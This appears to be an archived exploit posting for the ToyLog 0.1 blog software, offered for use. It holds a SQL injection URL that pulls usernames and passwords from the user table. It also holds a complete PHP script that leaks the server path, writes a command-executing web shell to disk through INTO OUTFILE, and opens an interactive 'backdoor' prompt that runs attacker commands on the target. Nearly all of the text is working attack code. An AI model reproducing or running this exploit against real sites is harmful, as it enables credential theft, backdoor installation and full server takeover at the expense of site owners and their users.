Home / os / win10

toylog-sqlexec.txt

Posted on 10 July 2009

--+++=====================================================================================+++--
--+++====== ToyLog 0.1 SQL Injection Vulnerability/Remote Command Execution Exploit ======+++--
--+++=====================================================================================+++--

[+] SQL Injection Vulnerability
Url: http://localhost/ToyLog/read.php?idm=1%20UNION%20ALL%20SELECT%201,username,password,4%20FROM%20user

[+] Remote Command Execution Exploit

#!/usr/bin/php
<?php

function usage () {
exit (	"
".
"+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
".
"-                                                   -
".
"+ ToyLog 0.1 Remote Command Execution Exploit       +
".
"- Author  : darkjoker                               -
".
"+ Site    : http://darkjoker.net23.net              +
".
"- Download: http://sourceforge.net/projects/toylog/ -
".
"+ Usage   : php xpl.php <url>                       +
".
"- Ex.     : php xpl.php http://localhost/ToyLog/    -
".
"+                                                   +
".
"-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
".
"
");
}

function hex_format ($string) {
$i=0;
while ($i<strlen($string))
$hex .= "%".dechex(ord($string[$i++]));
return $hex;
}

function get_path ($host, $dir) {
$fp = fsockopen ($host, 80);
$query = hex_format ("1 UNION ALL SELECT * FROM does_not_exist");
$req =	"GET {$dir}read.php?idm={$query} HTTP/1.1
".
"Host: {$host}
".
"Connection: Close

";
fputs ($fp, $req);
while (!feof ($fp))
if (preg_match ("|resource in <b>(.+?)</b> on|", fgets ($fp, 1024), $data))
$path = $data [1];
list ($path) = explode ("block/db.php", $path);
fclose ($fp);
return $path;
}

function upload_shell ($host, $dir) {
$fp = fsockopen ($host, 80);
$shell_path = get_path ($host, $dir)."shell.php";
if (!strcmp ($shell_path, "shell.php"))
die ("[-] Exploit failed.
");
$query = hex_format('1 UNION ALL SELECT 1,2,'xxx<?php system (stripslashes($_GET[\'cmd\'])); ?>xxx',4 INTO OUTFILE ''.$shell_path.'' FROM post');
$req =	"GET {$dir}read.php?idm={$query} HTTP/1.1
".
"Host: {$host}
".
"Connection: Close

";
fputs ($fp, $req);
fclose ($fp);
}

if (!preg_match ("|http://(.+?)(/.+/)|", $argv [1], $data))
usage ();
array_shift ($data);
list ($host, $dir) = $data;
upload_shell ($host, $dir);
$stdin = fopen ("php://stdin", "r");
while (1) {
echo "backdoor@{$host}: ";
$cmd = hex_format(trim (fgets ($stdin, 1024)));
if (!strcmp ($cmd, hex_format("exit")))
break;
$out = explode ("xxx", file_get_contents ("http://{$host}{$dir}shell.php?cmd={$cmd}"));
array_shift ($out);
array_pop ($out);
echo $out [0];
}

?>

 

TOP